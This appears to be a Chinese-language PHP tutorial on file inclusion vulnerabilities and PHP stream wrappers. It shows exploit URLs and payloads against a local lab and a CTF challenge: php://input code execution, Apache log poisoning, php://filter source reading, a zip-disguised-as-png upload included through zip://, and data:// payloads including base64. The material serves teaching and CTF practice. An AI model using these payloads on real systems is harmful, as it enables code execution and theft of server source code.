本篇文章為大家帶來了關於PHP的相關問題,其中主要介紹了關於文件包含和PHP偽協議的相關內容,文件包含漏洞是「程式碼注入」的一種,下面一起來看一下,希望對大家有幫助。
推薦學習:《PHP影片教學》
檔案包含漏洞是「程式碼注入」的一種。其原理就是注入一段使用者能控制的腳本或程式碼,並讓服務端執行。 「程式碼注入」的典型代表就是檔案包含。
要成功利用檔案包含漏洞進行攻擊,需要滿足以下兩個條件:
Web應用程式採用include()等檔案包含函數透過動態變數的方式引入需要包含的檔案;
使用者能夠控制該動態變數。
常見的導致檔案包含的函數:
PHP:include()、include_once()、require()、require_once()等;
1.php檔案包含可以直接執行包含檔案的程式碼,包含的檔案格式不受任何限制
在php 中提供了四個檔案包含函數:
(1) Require: 找不到被包含的檔案時會產生致命錯誤(E_COMPILE_ERROR),並停止腳本;
(2) Include:找不到被包含的檔案時只會產生一個(E_warinng),腳本將繼續執行;
(3) Require_once:與include 類似會產生警告,差異是如果檔案程式碼已經被包含,則不會再次被包含;
#php偽協議,事實上是其支援的協定與封裝協定。而其支援的協定有:
file:// — 访问本地文件系统 php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流
all_url_include在php 5.2以後加入,安全方便的設定(php的預設設定)為:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允許開啟URL檔案,預設啟用)
allow_url_fopen = Off (禁止開啟URL檔案)
allow_url_include = Off (禁止引用URL檔案,新版增加功能,預設關閉)
allow_url_include = On (允許引用URL檔案,新版增加功能)
file:// 檔案系統是PHP 使用的預設封裝協議,展現了本機檔案系統。
使用file://協定去包含本機的phpinfo.php
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php
php :// 存取各個輸入/輸出流(I/O streams),在CTF中常用的是php://filter和php://input
php://filter用來讀取原始碼:
php://input用來執行php程式碼。
http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
php://filter讀取php檔案時候需要base64編碼
php://input
#php://input [POST DATA]執行php程式碼
需要***allow_url_include = On***
http://localhost/www/lfi.php?file=php://input POST <?system ('ipconfig')?>
不過一般大部分情況下,allow_url_include 為預設關閉狀態,
就不能包含POST資料了,這種情況下可以包含apache日誌或錯誤日誌記錄
#首先需要fuzz大法,爆破出日誌的路徑,
為了測試方便,我先將日誌的內容清空,方便演示
#訪問該網址,透過報錯將程式碼寫入日誌中
注意:這裡要使用burp抓包去訪問,不然程式碼會被url編碼寫入日誌,就不能執行了
也可以將程式碼寫入user-agent
http://localhost/www/lfi.php?file=<?php phpinfo();?>
我的日誌路徑是:
F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400
#使用file://偽協定去讀取日誌,發現phpinfo被成功執行了
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400
分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。
分析文件包含的源代码
Tips: the parameter is file! :) <!-- upload.php --><?php @$file = $_GET["file"]; echo $file; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } }?>
分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。
综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。
在文件上传时候将后缀名zip修改为png的后缀名,
test.php中写入木马
<?phpphpinfo ();?>
如下图所示
图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功
http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test
条件:
allow_url_fopen:on allow_url_include :on
访问网址
http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>
也可以使用base64编码,防止代码被过滤掉
file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
推荐学习:《PHP视频教程》
以上是一起來分析文件包含及PHP偽協議利用的詳細內容。更多資訊請關注PHP中文網其他相關文章!